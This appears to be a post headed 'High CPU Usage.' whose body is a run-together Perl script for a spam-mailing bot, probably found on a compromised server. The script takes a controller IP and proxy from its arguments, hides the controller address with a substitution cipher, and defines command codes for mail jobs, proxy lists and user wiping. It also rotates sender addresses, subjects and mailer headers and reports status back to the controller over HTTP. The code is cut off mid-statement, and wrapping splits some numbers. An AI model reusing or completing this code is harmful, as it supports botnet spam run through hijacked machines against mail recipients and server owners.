High CPU Usage.

perl-w-euse Socket;use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);$SIG{PIPE} = 'IGNORE'; my $Debug = 0;my @Normal = (0,1);my @Crypto = (0,0);my @Stargt = (1,1);my $NBConnectOnly = 0;my $StarFlag = 0;($NBConnectOnly, $StarFlag) = @Normal;my $C_POST_BUFFER_SIZE = 128000;my $C_HTTPS_PROXY_TYPE = 0;my $C_SOCKS_PROXY_TYPE = 1;my $C_HTTPP_PROXY_TYPE = 4;my $C_MaxMergeTags = 10;my $C_OK = 0;my $C_INVALID_SITEID = 1000;my $C_SERVER_TIMEOUT = 1001;my $C_SERVER_IS_SLOW = 1002;my $C_ALL_PROXIES_HAVE_FAILED = 1003;my $C_THREAD_STARTED_CMD = 2000;my $C_MAIL_DONE_CMD = 2001;my $C_MAIL_SPEC_CMD = 2002;my $C_NEW_SERVER_CMD = 2003;my $C_AVAIL_IPS_CMD = 2004;my $C_NEW_PROXIES_CMD = 2005;my $C_NEW_PROXY_LOCK_CMD = 2006;my $C_WIPE_USER = 2077;my $C_CANCEL_USER = 2099;my $CRLF = pack("CC", 13, 10);my $SMTP_RESPONSE_CONNECTED = 220;my $SMTP_RESPONSE_OK = 250;my $SMTP_RESPONSE_RCPT_OK = 251;my $SMTP_RESPONSE_SEND_DATA = 354;my $SMTP_RESPONSE_QUIT = 221; my @ucCryptoMap = (6,11,16,26,10,14,1,30,19,8,13,4,12,9,23,7,3,21,31,28,25,15,18,29,2,5,17,22,0,27,20,24,121,103,119,106,66,86,98,107,60,96,38,97,73,90,48,89,81,109,54, 37,87,118,102,50,113,72,75,99,123,88,84,39,105,41,120,62,126,67,92,112,58,69,85,93,76,94,125,116,74,114,55,34,40,52,104,46,101,71,59,35,47,77,111,80,3 3,100,79,44,57,70,95,32,36,91,117,64,83,122,56,115,124,49,65,61,51,110,78,63,42,82,45,108,53,43,68,185,195,248,213,159,201,168,227,218,207,246,216,214 ,150,152,182,181,244,178,211,175,133,240,237,171,165,139,215,203,254,253,146,160,180,149,192,161,177,200,147,130,229,255,209,238,242,127,205,251,170,2 43,143,131,173,138,169,163,174,183,179,166,230,193,241,199,228,155,176,245,236,206,162,224,222,252,128,221,235,212,217,151,225,189,223,136,208,220,249 ,172,219,226,142,247,157,167,198,197,184,210,135,233,134,202,132,188,250,204,144,231,140,153,158,141,239,129,186,187,191,196,234,154,137,194,232,190,1 56,164,148,145);my %MS = ();my $G_Timeout = 30;my $XOrigIPIdx = 0;my $XMailerIdx = 0;my $XMimeOLEIdx = 0;my $FromAddrsIdx = 0;my $LocalHostsIdx = 0;my $ReplyToIdx = 0;my $SubjectsIdx = 0;my $ToExtensionsIdx = 0;my $MergeTagsIdx = 0;my $HTTPSProxyIdx = 0;my $FriendlyFromsIdx = 0;my $FriendlyTosIdx = 0;my $HexSiteID = $ARGV[0];my $ProxyURL = $ARGV[1];my $CryptoFlag = $ARGV[2];my $ControllerIP = $ARGV[3];my $Delay = $ARGV[4];my $RetryCount = 0;my $PostIP = 0;my $DataLen = 0;my $I = 0;my $Results = "";my $CharData = "";my @TempArray = ();my $upSiteID = pack "N", 0;my $HexString = hex($HexSiteID);my $PostStruct = "";my $AddressesToSend = 0;my $AddressesSent = 0;my $Long = pack "N", $HexString;my ($Thread, $CRC) = unpack "nn", $Long;my $LogName = $Thread . "_" . $CRC;my $G_MAIL = 0;my $G_ReadBuffer = "";my $G_ReadBufferBytes = 0;my $G_ReadBufferPos = 0;my $G_StayConnected = 0;my $G_Domain = "";my $G_MailFailCnt = 0;my $G_ShowTimestamp = 1;my $G_Pipelining = 0;my $G_SS = 0;$MS{'LastDomain'} = "";$MS{'BadEmails'} = "";$MS{'UnsentEmails'} = "";$MS{'ulIpToAssume'} = GetLocalIP();sleep ($Delay);if ($CryptoFlag == 0){ $CryptoFlag = "\x00";}elsif ($ProxyURL){ $ControllerIP = DPCrypt ($ControllerIP);}my $ulCmd = pack "N", $C_MAIL_DONE_CMD;my $ulSiteID = pack "N", $HexString;my $cSmtpServer = chr(0) x 64;my $usAddressesToSend = pack "n", 0;my $usAddressesSent = pack "n", 0;my $usRespCode = pack "n", $C_OK;my $ErrorMsg = chr(0) x 118;my $RespCode = 0; $PostIP = $ControllerIP;if ($ProxyURL){ $PostIP = $ProxyURL; $PostStruct = "$CryptoFlag$ControllerIP\x00\x00" . "$ulCmd$ulSiteID$cSmtpServer" . "$usAddressesToSend" . "$usAddressesSent$usRespCode$ErrorMsg";}else{ $PostIP = $ControllerIP; $PostStruct = "$ulCmd$ulSiteID$cSmtpServer" . "$usAddressesToSend" . "$usAddressesSent$usRespCode$ErrorMsg";}$RetryCount = 10;while ($RetryCount){ $Results = PostIt ($PostIP, $PostStruct, 30); if ($ProxyURL) { $DataLen = 0; $Results =~ /.*cyberdata: (\d+).*/i; $DataLen = $1; $Results =~ m/cyberdata: \d+\s+/g; my $BegPos = pos $Results; $Results = substr ($Results, $BegPos, $DataLen); } if ($Results =~ /400 Post Error/) { $RetryCount--; sleep (10); next; } else { last; }}if (!$RetryCount){ goto BAIL;} my $upCmd = unpack "N", $Result"